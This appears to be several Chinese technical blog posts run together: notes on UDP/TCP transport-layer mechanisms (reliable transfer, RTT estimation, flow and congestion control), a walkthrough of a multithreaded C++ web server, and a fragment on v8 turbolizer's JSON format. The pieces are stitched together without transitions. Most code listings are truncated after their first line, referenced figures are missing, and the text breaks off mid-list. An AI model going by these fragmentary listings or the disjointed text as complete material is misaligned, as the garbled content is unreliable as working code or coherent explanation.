一个UDP套接字是由一个二元组全面标识,该二元组包含一个目的IP地址和一个目的端口号。
因此如果两个UDP报文段有不同的源IP地址/源端口号,但具有相同的目的IP地址和目的端口号,则两个报文段将通过相同的目的套接字被定向到相同的目的进程。
面向连接的多路复用与多路分解
一个TCP套接字是由一个 四元组(源IP地址,源端口号,目的IP地址,目的端口号) 来标识。
两个具有不同源IP地址或源端口号的到达TCP报文段将被定向到两个不同的套接字。
UDP优点
UDP报文段结构
UDP提供差错检测功能:发送方的UDP对报文段中的所有16比特字的和进行反码运算。求和时遇到的任何溢出都将被回卷。得到的结果被放在UDP报文段中的检验和字段。
回卷:把溢出的最高位1和低16位做加法运算。
这样,接收方将全部的16比特字相加,如果分组没有引入差错,则在接收方处该和将为1111111111111111。如果存在任意一个位置的比特为0,则说明该分组中出现差错。
可靠数据传输为上层实体提供的服务抽象是:数据可以通过一条可靠的信道进行传输。借助于可靠信道,传输数据比特就不会不会受到损坏或丢失,并且所有数据都是按照其发送顺序进行交互。
实现这种服务抽象是可靠数据传输协议的责任,但通常该协议的下层协议是不可靠的,因此任务较为复杂。
例如:TCP是在不可靠的(IP)端到端网络层之上实现的可靠数据传输协议。
底层信道在分组的传输或缓存的过程中,可能会产生比特差错。当检测到这类错误时,发送方需要重传对应的分组,并等待接收方发送肯定确认或否定确认的控制报文。这些控制报文使得接收方可以让发送方知道哪些内容被正确接收,那些内容接收有误并因此需要重复。在计算机网络中,基于这样重传机制的可靠数据传输协议称为自动重传请求(Automatic Repeat reQuest, ARQ)。
更重要的是,ARQ协议还需要另外三种协议功能来处理存在比特差错的情况:
需要注意的是,接收方返回的 ACK/NAK 报文同样有受损或丢包的风险。当发送方收到含糊的 ACK/NAK 分组时,只需重传分组即可,但这会在信道中引入冗余分组。冗余分组的困难点在于,接收方无法事先知道接收到的分组是新的还是一次重传。
解决这个问题的一个简单方法是:在数据分组中添加一新字段,让发送方对其数据分组编号,即将发送数据分组的序号放在该字段,之后接收方只需检查序号即可确定收到的分组是否是一次重传。
除了比特受损以外,底层信道还会丢包。因此可靠数据传输协议必须处理另外两个问题:如何检测丢包 & 发送丢包后该做什么。根据上文,我们可以很容易的给出后一个问题的答案——重传。但对于第一个如何检测丢包,我们需要进一步的研究一下。
发送方等待足够长的时间以确定分组是否已经丢失。实践中发送方根据特定算法选择一个时间值,以判定是否丢包(注意是判定不是确保)。如果在这个时间内没有收到ACK则重传该分组。
需要注意的是,如果一个分组经历特别大的时延,发送方就可能重新发送该分组,即便原分组和其ACK都没有丢失。而这种情况就引入了冗余数据分组。
为了实现基于时间的重传机制,需要一个倒计时定时器,在一个给定的时间量过期后,中断发送方,使其重传。
最终,实现的可靠传输数据协议的状态机图如下所示:
这里同样有一个图说明运行时可能产生的各类情况:
在检验和、序号、定时器、肯定和否定确认分组这些技术中,每种机制都在可靠传输协议的运行中起到了必不可少的作用,至此组合而成一个可靠传输数据协议。
上文中所实现的可靠传输数据协议是一个停等协议,即只有确保接收方正常接受当前分组后,才会继续发送下一个分组。停等协议的性能极其低下,并且其信道利用率也非常的低,故允许发送方发送多个分组而无需等待确认是一个必然的选择。
由于许多从发送方向接收方输送的分组可以被看做是填充到一条流水线中,因此该技术称为流水线。流水线技术对可靠数据传输协议带来的影响如下:
对于流水线的差错恢复有两种基本方法:回退N步(Go-Back-N, GBN)和选择重传(Selective Repeat, SR)。
回退N步协议允许发送方发送多个分组而不需等待确认,但受限于在流水线中未确认的分组数不能超过某个最大允许数N。以下显示了发送方看到的GBN协议的序号范围:
基序号:最早未确认分组的序号
下一个序号:最小未使用序号
N常被称为窗口长度,因此GBN协议称为滑动窗口协议。
GBN的发送方必须响应三种类型的事件:
GBN的接收方动作较为简单:如果一个序号为n的分组被正确接收到,并且按序,则接收方为n发送一个ACK,并将该分组中的数据部分交付到上层。其他情况下则丢弃该部分并为最近按序接收的分组重新发送ACK。
以下是一个运行中的GBN流程图:
GBN协议可能会重传许多本没必要重传的分组,从而影响性能。SR协议通过让发送方仅重传那些它怀疑在接收方出错的分组,从而避免了不必要的重传。这种个别的、按需的重传要求接收方逐个的确认正确接收的分组。
SR协议同样使用窗口长度N来限制流水线中未完成、未被确认的分组数。但与GBN不同的是,发送方已经收到了对窗口中某些分组的ACK。
SR接收方将确认一个正确接收的分组而不管其是否按序。失序的分组将被缓存直到所有的丢失分组全被收到为止,此时才可以将一批分组按需交付给上层。需要注意的是:接收方会重新确认(而不是忽略)已收到过的那些序号小于当前窗口基序号的分组,因为发送方和接收方的窗口不总是一致。
以下是出现丢包时SR操作的简单例子:
TCP被称为是面向连接的,因为在一个应用进程可以开始向另一个应用进程发送数据之前,这两个进程必须先相互发送某些预备报文段,以建立确保数据传输的参数,这个过程称为握手。连接的双方都将初始化与TCP连接相关的许多TCP状态变量。
注意:TCP的连接,是一条逻辑连接,共同状态仅保留在两个通信端系统的TCP程序中。中间的网络元素不会维持TCP连接状态,它们看到的只是数据报,而不是连接。
同时TCP还是全双工、点对点服务。
TCP 可从发送缓存中取出并放入报文段中的数据数量受限于最大报文段长度(Maximum Segment Size, MSS)。而MSS通常根据最初确定的由本地发送主机发送的最大链路层帧长度(即最大传输单元Maximum Transmission Unit, MTU)来设置。设置该MSS要保证一个TCP报文段加上TCP/IP首部长度将适合单个链路层帧。
源端口号和目标端口号:用于多路复用/分解来自或送到上层应用的数据。
32bit的序号字段和32bit的确认号字段。
16bit的接收窗口字段:用于流量控制,表示接收方愿意接受的字节数量。
4bit的首部长度字段:表示以32bit为单位的TCP首部长度。由于TCP选项字段的原因,TCP首部的长度是可变的。(通常情况下,选项字段为空,因此TCP首部的典型长度为20字节)。
可选与变长的选项字段。
6bit的标志字段
在实践中,PSH、URG和紧急数据指针并没有使用。
序号:TCP把数据看成一个无结构有序的字节流。序号建立在传送的字节流之上,而不是建立在传送的报文段的序列之上。因此一个报文段的序号是该报文段首字节的字节流编号。
确认号:TCP是全双工的,因此主机A在向主机B发送数据的同时,也可能会受到来自主机B的数据。从主机B到达的每个报文段中都有一个序号用于从B流向A的数据。主机A填写进报文段的确认号是主机A期望从主机B受到的下一字节的序号。
因为TCP只确认该流中至第一个丢失字节为止的字节,因此TCP被称为提供累计确认。若TCP收到乱序的报文段时,实践中最常用的做法是接收方保留失序的字节,并等待缺少的字节以填补该间隔。
一个简单例子如下所示:
TCP使用超时/重传机制来处理报文段的丢失问题。超时时间间隔长度必须大于该连接的往返时间(RTT),即从一个报文段发出到它被确认的时间,否则会造成不必要的重传。
估计往返时间
报文段的样本RTT(这里表示为SampleRTT)就是从某报文被发出到对该报文段的确认被收到之间的时间量。大多数TCP的实现仅在某个时刻做一次SampleRTT测量,而不会为每次发送的报文段测量一个SampleRTT。
TCP维持一个 SampleRTT 均值(称为 EstimatedRTT),一旦获得一个新 SampleRTT 时,TCP就会根据下列公式来更新 EstimatedRTT:
$EstimatedRTT = (1 - \alpha) * EstimatedRTT + \alpha* SampleRTT$
RFC 6298 中给出的 alpha 推荐值为 0.125。
除了估算 RTT外,测量RTT的变化也是有价值的。RFC6298定义了RTT偏差 DevRTT,用于估算SampleRTT 一般会偏离 EstimatedRTT 的程度:
$DevRTT = (1 - \beta) * DevRTT + \beta * |SampleRTT - EstimatedRTT|$
设置和管理重传超时间隔
在TCP的确定重传超时间隔的方法中,EstimatedRTT 和 DevRTT 考虑到了显示的情况,因此最终的间隔为:$TimeoutInterval = EstimatedRTT + 4 * DevRTT$
推荐初始的TimeoutInterval的值为1s。
实现机制:该部分中具体实现机制的大部分细节与上文中的可靠数据传输协议相同。
超时间隔加倍:每次TCP重传时都会将下一次的超时间隔设为先前值的两倍,而不是由EstimatedRTT和DevRTT推断出的值。
快速重传:
TCP差错恢复机制
TCP确认是累计式的,正确接收但失序的报文段是不会被接收方逐个确认。
注意:不会被逐个确认不代表会被丢弃。
TCP发送方仅需维持已发送过但未被确认的字节的最小序号和下一个要发送的字节的序号。
许多TCP实现会将正确接收但失序的报文段缓存起来。
对TCP提出的修改意见是选择确认。它允许TCP接收方有选择地确认失序报文段,而不是累计地确认最后一个正确接收的有序报文段。
TCP的差错恢复机制是 GBN协议和SR协议的混合体。
TCP为应用程序提供流量控制服务以消除发送方使接收方缓存溢出的可能性。
TCP发送方也可能因为IP网络的拥塞而被设置,这种形式的发送方的控制被称为拥塞控制。
注意:拥塞控制和流量控制不同,需要区分开来。
TCP通过让发送方维护一个称为接收窗口的变量来提供流量控制。接受窗口用于告诉发送方,当前接收方还有多少可用的缓存空间。TCP是全双工通信,在连接两端的发送方都各自维护一个接收窗口。
假设主机A通过一条TCP连接向主机B发送一个大文件。则主机B通过把当前的 接收窗口rwnd 值放入它发给主机A的报文段接收窗口字段中,通知主机A在该连接的缓存中还有多少可用空间。
还有一个问题:假设主机B的接收缓存已满,使得 rwnd = 0,并且主机B没有任何数据要发给主机A(这种假设是为了确保主机AB之间没有任何的分组通信)。则因为主机B上的应用进程清空缓存时,TCP不会向主机A发送带有 rwnd 新值的新报文段,这样就会使得主机A无法知道主机B的接收缓存已经有新的空间了。因此主机A将会被阻塞,而无法再发送数据。
对于这个问题,TCP规范中要求:**当主机B的接收窗口为0时,主机A继续发送只有一个字节数据的报文段,这些报文段将会被接收方确认。**等到最终主机B的缓存清空,返回的确认报文中将包含一个非零的 rwnd 值。
TCP连接流程
客户端TCP首先向服务器端的TCP发送一个特殊TCP报文段。该报文段中不包含应用层数据,而是在报文段首部设置 SYN 比特为1. 该特殊报文段被称为 SYN 报文段。
同时,客户端会随机选择一个初始序号 client_isn,并将此编号放置进该起始的TCP SYN 报文段的序号字段中。
注意:适当的随机选择 client_isn 在避免某些安全性攻击方面起到了一定的作用。
当 TCP SYN 报文段到达服务器主机,则服务器会为该TCP连接分配 TCP 缓存和变量,并向该客户TCP发送允许连接的报文段。
注意:提前分配缓存和变量可能受到 SYN 攻击。
该报文段也不包含应用层数据,而是设置
该允许连接的报文段被称为 SYNACK报文段。
当客户端收到 SYNACK 报文段时,客户端也为该连接分配缓存和变量。之后客户端向服务器发送最后一个报文段,对服务器的允许连接报文进行确认(客户端将值server_isn + 1防止进TCP报文段首部的确认字段)。由于连接已经建立,因此SYN比特置0。
在这个确认报文中,可以带上客户端到服务器的数据。
为了创建连接,TCP会在两台主机之间发送3个分组,因此这个连接过程通常称为三次握手。
TCP连接拆除
参与一条TCP连接的两个进程中的任何一个都能终止该连接。
拥塞原因与代价
假设主机A、B在容量为R的共享式输出链路上传播。当发送速率接近 R/2 时,平均使用时延将会越来越大。当发送速率超过 R/2 时,路由器中的平均排队分组数就会无限增长,源与目的地之间的平均时延也会变成无穷大。
发送方必须执行重传以补偿因为缓存溢出而丢弃的分组。
发送方在遇到大的时延时所进行的不必要重传会引起路由器利用其链路带宽来转发不必要的分组副本。
当一个分组沿着一条路径被丢弃时,每个上游路由器用于转发该分组到丢弃该分组而使用的传输容量最终被浪费掉了。
拥塞控制方法
TCP采用的方式是让每一个发送方根据所感知到的网络拥塞程度来限制其能向连接发送流量的速率。
运行在发送方的 TCP 拥塞控制机制跟踪一个额外的变量:拥塞窗口cwnd。它限制了一个TCP发送方能向网络中发送流量的速率。即 $LastByteSend - LastByteAcked <= min{cwnd, rwnd}$。发送速率为$min{cwnd, wrnd} / RTT$ 字节/秒。
TCP发送方怎样确定它应当发送的速率?
TCP拥塞控制算法
慢启动
慢启动起始阶段
在慢启动状态,cwnd的值以1个MSS开始并且每当传输的报文段首次被确认就增加1个MSS。这会使得每过一个RTT,发送速率就翻倍。
TCP发送速率起始慢,但在慢启动阶段以指数增长。
慢启动结束阶段
如果存在一个由超时指示的丢包事件(注意,不包括冗余指示的丢包),TCP发送方将cwnd设置为1并重新开始慢启动过程。同时还将第二个状态变量的值**ssthresh(慢启动阈值)**设置为 cwnd/2。
当cwnd的值等于 ssthresh 时,结束慢启动并且TCP转移到拥塞避免模式。此时TCP会更为谨慎的增加 cwnd。
如果检测到3个冗余ACK,则TCP执行快速重传并进入快速恢复状态。
拥塞避免
一旦进入拥塞避免状态,cwnd的值大约是上次遇到拥塞时的值的一半,此时采用一种较保守的方法:每个RTT只将cwnd的值增加一个MSS。
注意区分开,慢启动初始时是每个报文段被确认则增加一个MSS。而这里是每个RTT增加一个MSS。
对于冗余ACK指示的丢包事件来说,TCP将cwnd减半,并且当收到3个冗余ACK时,将ssthresh的值记录为cwnd的值的一半。
快速恢复
公平性
TCP会在多条连接之间平等共享带宽,但UDP因为没有拥塞控制机制,因此UDP源有可能容易压制TCP流量。
明确拥塞通告:网络辅助拥塞控制
WebServer 1.0 简单实现了一个基础的 多并发网络服务程序 。在该版本中,主要实现了以下重要内容:
1.0 版本的项目代码位于 Kiprey/WebServer CommitID: 4095cc - github
最新版本的项目代码位于 Kiprey/WebServer - github
运行示例:
注意:该程序的实现大量参考了 linyacool/WebServer - github 的代码。
对于当前的多线程程序来说,可能会出现多个线程同时读写同一个数据结构的情况,那么此时势必会造成脏读这种错误情况。而互斥锁的使用,是为了保证数据共享操作的完整性,确保任一时刻,只能有一个线程访问目标对象。
在linux中,互斥锁主要使用以下函数来实现:
1 | // 初始化 mutex 对象 |
由于 pthread 族的库函数名称较长,并且调用方式也互不相同,因此在这些库函数上做了一个简单的封装:
注意,这实际上就是RAII(资源获取即初始化),是C++等编程语言常用的管理资源、避免内存泄露的方法。
1 | /** |
正常来说,我们使用锁时,需要经过以下过程:获取锁->进入临界区->释放锁。但在实际使用锁时,容易忘记释放锁,而这是一个非常严重的错误。因此我们可以实现一个 MutexLockGuard
类,借助类的构造函数和析构函数,来帮助我们自动获取锁和释放锁,只需一个简单的声明即可获取锁&释放锁。
1 | /** |
一说起条件变量,就不得不说先说起管程。管程保证了同一时刻只有一个线程在管程内活动,但不能保证线程在进入管程后,能继续一次性执行下去直到管程结束。
例如某个线程好不容易进入了管程,但执行了一段时间,突然发现某个条件没有满足,使得当前线程必须阻塞,无法继续执行。但要是该线程原地阻塞,一直占用这个管程,那其他的线程自然就无法进入管程,造成死锁。
那该怎么办呢?这就轮到条件变量出场了。
继续以上面的这个例子为例,由于该线程进入管程后可能会阻塞,因此非常肯定的是,必须在该进程进入阻塞状态前释放管程,否则会造成死锁。但是该线程已经进入管程,且没办法继续执行下去,因此只能原地释放管程,并等待条件满足后,重新获取管程锁,并将该线程唤醒,使其继续执行。
条件变量起到的作用,就相当于控制线程在管程中挂起和唤醒的作用。上面的语句可能有点难以理解,请思考一下这个例子:
线程池中,当子线程需要读取事件队列来获取事件之前,需要先获取队列的锁。当子线程获取到锁以后,如果队列为空,则条件不满足(注意这里的条件是:队列非空),因此子线程就无法从中获取事件,没法继续执行。此时可以使用条件变量让子线程在管程中挂起,等到条件满足时再通过条件变量来唤醒,回到管程继续执行。
注意:使用条件变量时,一定要确保在已经获取到管程锁的前提下使用,否则条件变量容易被多个子线程修改/使用。
条件变量相关的函数如下:
1 | // 初始化条件变量 |
与上面的互斥锁一样,这里也实现了一个 Condition
类来简化条件变量的使用:
1 | /** |
线程池是一种多线程的处理方式,常常用在高并发服务器上。线程池可以有效的利用高并发服务器上的线程资源。
线程用于处理各个请求,其流程大致为:创建线程 => 传递信息至子线程 => 线程分离 => 线程运行 => 线程销毁。对于较小规模的通信来说,上述的这个流程可以满足基本需求。但是对于高并发服务器来说,重复的创建线程与销毁线程,其开销不可忽视。因此可以使用线程池来让线程复用。
对于一个线程所要执行的任务,我们需要明确以下几点:
所要执行的事件,可以传入一个参数,但需要明确不能有返回值。
要想有应该也可以做,不过这就是后面的事情了。
因此,我们便可以设计出以下的 task 结构体
1 | // 每个线程的基本事件单元 |
线程池除了一些特定的变量(线程个数、事件队列等等)以外,还需要互斥锁以及条件变量。
由于子线程只会在线程池创建之时创建,在线程池销毁之时销毁,因此,在子线程中必然要执行一个事件循环,其中重复执行 获取事件、执行事件 的动作。
但这里需要注意两件事情,
针对问题2,有两种方式:
因此具体实现的代码如下所示:
注意,
pthread_cond_signal
会唤醒至少一个线程,注意是至少。因此可能会出现唤醒多个线程但只有一个事件等待处理的情况。针对于这种情况,只需设置子线程在被唤醒后,循环检测是否有剩余事件等待处理即可。
1 | void* ThreadPool::TaskForWorkerThreads_(void* arg) |
创建线程池较为简单,直接循环创建线程即可。
需要注意的是,这里设置了销毁线程池时的处理方式。具体信息将在下面销毁线程池的那部分中详细讲解。
1 | ThreadPool::ThreadPool(size_t threadNum, ShutdownMode shutdown_mode, size_t maxQueueSize) |
添加新事件时,需要设置一下锁,防止脏读。在新事件添加完成后,使用条件变量来唤醒其中某一个空闲线程以执行新事件。
1 | bool ThreadPool::appendTask(void (*function)(void*), void* arguments) |
销毁线程池时,需要判断销毁的方式。
这里设置了两种销毁方式,分别是
IMMEDIATE_SHUTDOWN
GRACEFUL_QUIT
对于第一种销毁方式,线程池将马上清空事件队列中的全部事件,并添加与线程个数相对应量的退出事件。这将会使每个子线程在执行完当前事件后,马上执行退出事件以退出。
退出事件如下:每个线程简单执行 pthread_exit 以退出。
1 | auto pthreadExit = [](void*) { pthread_exit(0); }; |
而对于第二种销毁方式来说,只是简单的添加退出事件,没有额外的清空之前的事件。这样线程池只会在所有事件全部结束后才真正的被销毁。
以下是具体的实现代码:
1 | ThreadPool::~ThreadPool() |
执行一次完整的网络连接通常需要执行数个 socket 类 函数。
为了弄懂这些函数的使用,本人将在下面随着代码的编写,尽量讲解所使用到的函数内容。
注:以下部分主要参考自 Linux/Posix manual page(man
指令真是一个好东西 XD)。
socket 函数主要用于创建网络交互(communication)中的一个终端(endpoint),即创建一个 socket fd 文件描述符。
socket 函数的类型声明如下:
1 |
|
其中,对于参数 domain,我们主要用到以下两种类型:
IPv6 和 bluetooth 等类型暂且不表。比较诧异的是,AF_VSOCK用于虚拟机程序与宿主机进行通信。
对于参数 type,常用的主要有以下几种:
SOCK_STREAM: TCP 通信
SOCK_DGRAM: UDP 通信
SOCK_NONBLOCK: 设置非阻塞 socket。使用 or 运算符来附加属性
与设置 O_NONBLOCK 至对应文件描述符操作等同。
SOCK_CLOEXEC: 设置若当前程序执行 exec 时,对应文件描述符将在子进程中给关闭。使用 or 运算符来附加属性
与设置 FD_CLOEXEC 至对应文件描述符等同。
参数 protocol 通常用于指定某一个特定的套接字协议。如果给定协议系列只有一个协议可以支持特定的套接字类型,则 protocol 可以指定为0。但是若给定协议系列中可能存在多个可以支持套接字的类型,这时候就必须设置 protocol 以指定具体类型。
简单举例:创建一个 IPv4 的 TCP 套接字(最常用)
1 | int listen_fd = socket(AF_INET, SOCK_STREAM, 0); |
对于一个新创建的 socket(注意是新创建的),还没有任何的地址用于赋给该 socket。而 bind 函数就是用于赋以一个地址给该 socket。
需要注意的是:如果当前 socket 在执行 bind 前已经被使用,则操作系统将会自动分配地址以及端口号等等,这也是为什么一些网络程序向外通信时使用的端口号是随机的,因为操作系统会在后面调控。
bind 函数的声明如下:
1 |
|
其中,第一个参数sockfd 用以传入目标 socket 文件描述符
至于第二个参数addr,其中使用的规则与结构体,在地址族之间有所不同。
第三个参数addrlen用于表示第二个参数addr所指向结构体的size。
对于 AF_INET:所使用到的 address format 如下
1 |
|
其中,sin_family 始终为 AF_INET;sin_port 设置为目标端口;sin_addr用以保存监听目标的地址。
这里多提一句,由于现代计算机可能有多张网卡,因此指定 sin_addr 可以使得只监听特定网卡的连接。如果想监听全部网卡的连接,则可以使用宏定义 INADDR_ANY(实际上就是 0.0.0.0)。
1 | /* Address to accept any incoming messages. */ |
而如果绑定 127.0.0.1 回环地址,则只能监听到主动发送至回环地址的请求,其他发送到当前该机器但目标IP非回环地址的请求则不会被处理。
注意:sin_port、sin_addr 变量都必须以网络端序来保存数据(即大端序)。
socket提供了端序转换的一些函数,便于转换(其中,h表示host,n表示network)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14 /* Functions to convert between host and network byte order.
Please note that these functions normally take `unsigned long int' or
`unsigned short int' values as arguments and also return them. But
this was a short-sighted decision since on different systems the types
may have different representations but the values are always the same. */
extern uint32_t ntohl (uint32_t __netlong) __THROW __attribute__ ((__const__));
extern uint16_t ntohs (uint16_t __netshort)
__THROW __attribute__ ((__const__));
extern uint32_t htonl (uint32_t __hostlong)
__THROW __attribute__ ((__const__));
extern uint16_t htons (uint16_t __hostshort)
__THROW __attribute__ ((__const__));
如果需要网络端序IP地址<—>字符串类型转变,则请参照以下函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int inet_aton(const char *cp, struct in_addr *inp);
in_addr_t inet_addr(const char *cp);
in_addr_t inet_network(const char *cp);
char *inet_ntoa(struct in_addr in);
struct in_addr inet_makeaddr(in_addr_t net, in_addr_t host);
in_addr_t inet_lnaof(struct in_addr in);
in_addr_t inet_netof(struct in_addr in);
对于一个 AF_NET 地址族来说,执行 bind 的一个简单例子如下:
1 | // 绑定端口 |
listen 函数将会使得传入的 socket fd 变为等待连接状态。该函数原型如下:
1 |
|
该函数主要有两个参数:参数 sockfd 传入目标 fd;backlog 指定最大挂起连接的等待队列长度,如果队列满了,则新连接将会被拒绝(ECONNREFUSED)。而对于某些特殊协议,将会在一段时间后重新发起连接。
accept 函数将会取出 listen_fd的挂起连接等待队列 中的第一个连接,创建一个新的 socket fd(client fd),并将其返回。后续与该连接的交互都是通过该client fd 完成。
需要注意的是, accept 会从 listen_fd 中取出挂起的连接,并尝试连接。一旦完成连接后,将会创建一个新的 client_fd。原先的 listen_fd 不会有任何改变。
如果当前 listen_fd 为阻塞式的,则如果当前挂起连接等待队列中不存在任何连接,那么执行 accept 时将阻塞,直到有新连接的到来。
该函数的原型如下:
1 |
|
由于 read/recv & write/send 操作涉及到阻塞与非阻塞式读写,因此我们需要额外对其做一些异常处理。
需要注意的是,socket读写中,除了使用read/write以外,还可以使用专用于套接字通信的send/recv函数族等等。
该类函数中最常返回的错误为 EINTR 以及 EAGAIN,其他错误暂时忽略。其中:
EINTR:该错误常见于阻塞式的操作,提示当前操作被中断。
如果一个进程在一个慢系统调用中阻塞时,捕获到信号并执行完信号处理例程返回时,这个系统调用将不再被阻塞,而是被中断,返回 EINTR。
对于读写函数来说,当返回这类错误时,最常用的做法就是重新执行目标函数。
EAGAIN:该错误常见于非阻塞式的操作,提示用户稍后再重新执行。
例如:
对于 read 函数来说,由于数据取决于远程,因此当接收到 EAGAIN 时终止读取,直接返回;
但对于 write 函数来说,由于数据取决于当前服务器,因此可以继续循环写入,直至数据完全写入。
对于 recv/send 函数来说,与 read/write 相比,将会额外多出部分专用于 socket 的错误码,例如 ECONNREFUSED、EPIPE 以及 ECONNRESET 等等。出于调试目的,在实现 读写函数的 wrapper时,将这两类读写函数全部集成在 wrapper中,并用一个bool参数来控制启用 read/write 还是 recv/send 函数。
对于读取操作来说,阻塞读取和非阻塞读取又有所不同:
在具体实现 读取操作的wrapper函数时,同样使用一个bool参数来控制是否是阻塞/非阻塞读取。
read/recv & write/send 函数的返回值
综上所述,read/recv 函数重新实现的 wrapper 如下:
1 | ssize_t readn(int fd, void*buf, size_t len, bool isBlock, bool isRead) |
write/send 函数的 wrapper 同理:
1 | ssize_t writen(int fd, void*buf, size_t len, bool isWrite) |
综上各类函数的分析,现在我们可以为服务器端开启一个监听套接字,并等待客户端连接:
1 | int socket_bind_and_listen(int port) |
注意到这部分代码,设置端口复用属性:
1 | // 端口复用 |
正常来说,对于某个网络程序,一个端口只能绑定一个套接字,别的套接字无法使用这个端口。而如果需要让同一程序的不同套接字绑定统一端口,则需要设置端口复用属性。
不过在当前WebServer-1.0版本中,设置端口复用貌似是不必要的,就算删除也无伤大雅。
SIGPIPE 信号将在远程连接被中断时发出。默认的处理例程是终止程序,而这很明显不是我们所期望的处理方式。因此我们必须设置 WebServer 忽视 SIGPIPE 信号,以免被意外终止。
1 | void handleSigpipe() |
WebServer-1.0版本中实现的输出功能较为简单,只将信息输出到终端的stdout、stderr,没有建立日志文件。
具体实现如下:
1 | /** |
如果有信息需要输出到终端,则按照以下调用方式使用即可,简单方便:
1 | LOG(INFO) << "my msg" << std::endl; |
输出信息时,会自动将当前子线程的 LWP 号以及信息类型(INFO/ERROR)输出,例如:
需要注意的是,该输出功能没有设置多线程互斥,因此可能会造成输出格式异常,即多个线程同时使用LOG功能,输出的数据在终端上揉成一团,显示的不太雅观。
当 Server 成功与 Client 建立连接后,Client 将会发送数据至 Server,此时 Server 就需要解析数据并进一步将目标数据传送回 Client。其中,http报文的解析和http header的处理便是重点。
当建立起一个新的客户端套接字(client_fd)后,目标事件将被放进事件队列中,并等待空闲线程处理。
而这里的事件便是以下函数:
1 | void handlerConnect(void* arg) |
我们可以很容易的看到,该函数只做了几件事情:
HttpHandler::RunEventLoop
函数这里的 HttpHandler 类,就是下文中的重点。
HttpHandler 支持部分 HTTP/1.1 版本的特性——持续连接。默认情况下,执行其 RunEventLoop 成员函数时,将循环读取来自客户端的请求,处理并返回对应的响应报文。
HttpHandler 的整体代码结构如下所示,主要是由多个成员函数以及少数几个成员变量组成。RunEventLoop 函数是启动整个处理请求循环的一个开关函数:
1 | /** |
HttpHandler 中实现了以下错误类型:
1 | /** |
除了第一种 ERR_SUCCESS
表示无错误以外,其余的错误类型都有对应的错误处理方式,例如终止连接或者向客户端发送一个特定的响应报文,我们将在下面的内容中提到这些错误处理方式。
当远程客户端发送数据至服务器端时,无论传来的是什么数据,首先要做的就是将数据从缓存中读取并保存至自己的缓冲区内。读取时需要明确一点:使用阻塞方式读取。因为每个客户端连接都是由单独的线程进行处理的,倘若服务器端没有将所有的请求数据全部读完,那么自然就无法继续执行下去。
同时还需要明确一点的是,调用 readn 函数读取数据时,有可能客户端传来的数据较多,使得读取到的字节数刚好等于传入 readn 的最大缓冲区大小,那么此时就必须保存并继续循环读取,因为这里可能还有一部分数据没有读取完成,仍然需要继续读取。只有当 readn 函数返回的值小于传入的最大缓冲区大小,才能说明来自客户端的数据已经全部读取完成。此时就可以退出读取请求函数。
最后,readn 函数可能会因为出错、远程连接中断等意外情况返回负数,因此这里需要额外写一点错误处理,返回对应原因的错误枚举 ERR_READ_REQUEST_FAIL 或者 ERR_CONNECTION_CLOSED 等等。
综上所述,最终实现的代码如下所示:
1 | HttpHandler::ERROR_TYPE HttpHandler::readRequest() |
接下来是 HTTP 请求报文的解析,我们先简单看看 请求报文的格式:
首先,我们需要从报文中获取第一个以 \r\n
结尾的行,并从这行中解析出请求方法、目标URL以及HTTP版本。任何一种因为错误报文格式所导致的解析失败,都是 ERR_BAD_REQUEST 错误。
其次,目前 WebServer-1.0 版本只支持 GET 的请求方法,倘若识别到其他请求方法都会返回 ERR_NOT_IMPLEMENTED 错误。
由于请求 URL 可能是一个文件夹地址,而不是文件。因此如果URL指向的是一个文件夹,那么我们就必须在这个URL地址后添加/index.html
字符串,使得请求的目标地址一定是一个文件(即便该文件可能不存在)。
最后,目前的 WebServer-1.0版本只支持 HTTP/1.0 和 HTTP/1.1 版本,因此如果识别到了其他的 HTTP版本,则马上返回 ERR_HTTP_VERSION_NOT_SUPPORTED 错误。
综上所述,最后实现的代码如下所示:
1 | HttpHandler::ERROR_TYPE HttpHandler::parseURI() |
从HTTP报文第二行开始,每个以 \r\n
为结尾的一行数据中,都有一个 key: value
的键值对(header最后一行除外)。因此我们需要继续遍历请求报文的数据,将每个 HTTP header 存入数据结构中。如果解析报文的时候出现错误,则返回 ERR_BAD_REQUEST 错误。
这里有个点需要注意:HTTP/1.1默认支持持续连接,因此 HttpHandler 的成员变量 isKeepAlive_ 默认为 true。但如果客户端中存在这样的 http header Connection: close
,则说明当前连接并非持续性的,因此处理完当前 http 请求后必须马上断开连接。所以当我们接收到了Connection: close
这样的http header时,必须设置 isKeepAlive_ 变量为 false。
综上所述,最终实现的代码如下:
1 | HttpHandler::ERROR_TYPE HttpHandler::parseHttpHeader() |
http响应报文格式如下所示:
照着这个报文格式,照葫芦画瓢构建一个报文并将其发送至客户端即可。
这里要注意一点,当前连接是否继续保持取决于 isKeepAlive_ 变量。具体实现如下所示:
1 | HttpHandler::ERROR_TYPE HttpHandler::sendResponse(const string& responseCode, const string& responseMsg, |
当 handlerError 错误处理函数被调用时,在该函数内部将简单构建一个 html 错误提示页面,并将该页面发送至远程客户端。具体实现如下所示:
1 | HttpHandler::ERROR_TYPE HttpHandler::handleError(const string& errCode, const string& errMsg) |
HttpHandler 中的 RunEventLoop 函数维护了整个连接的事件循环。具体操作如下:
1 | void HttpHandler::RunEventLoop() |
最后简单说说编译和调试。使用make
命令即可构建带有调试信息的 WebServer 二进制文件。这里的makefile是直接抄自 linyacool/WebServer 中的 makefile,并在其基础之上,修改了编译优化选项为 -O0
,以及设置编译时附带额外的调试信息-g3 -ggdb3
。
-g
所携带的调试信息可以被多个调试器所共用,而-ggdb
所携带的调试信息是专供 gdb 使用,两者不完全等同。-ggdb3
的调试等级甚至可以调试宏。
这里的调试主要是使用 gdb + pwndbg 来完成(gdb 永远的神)。因为多线程程序在gdb下调试非常的方便,它可以很快的切换线程上下文(使用info <threadNum>
)以及栈帧上下文(使用f <frameNum>
);而且临时查看 errno
以及临时调用 strerror(errno)
查看错误信息等等都非常地方便。
v8 turbolizer 有助于我们分析 JIT turbofan 的优化方式以及优化过程。但我们常常对于 turbolizer 生成的 IR 图一知半解,不清楚具体符号所代表的意思。以下为笔者阅读相关代码后所做的笔记。
--trace-turbo
参数将会生成一个 JSON 格式的数据。通过在 turbolizer 上加载该 JSON,可以得到一个这样的IR图:
其中,该 JSON 的格式如下:
1 | { |
简单的概括一下,就是:
graph
IR 图还是 文本。结点1
id: 结点ID,通常是一个数字
label:结点标签
title:结点主题
live: 当前结点是否是活结点,为 true / false
properties:当前结点的属性
pos:暂且不说
opcode:当前结点的操作码,例如End
control:当前是否是控制结点,为 true / false
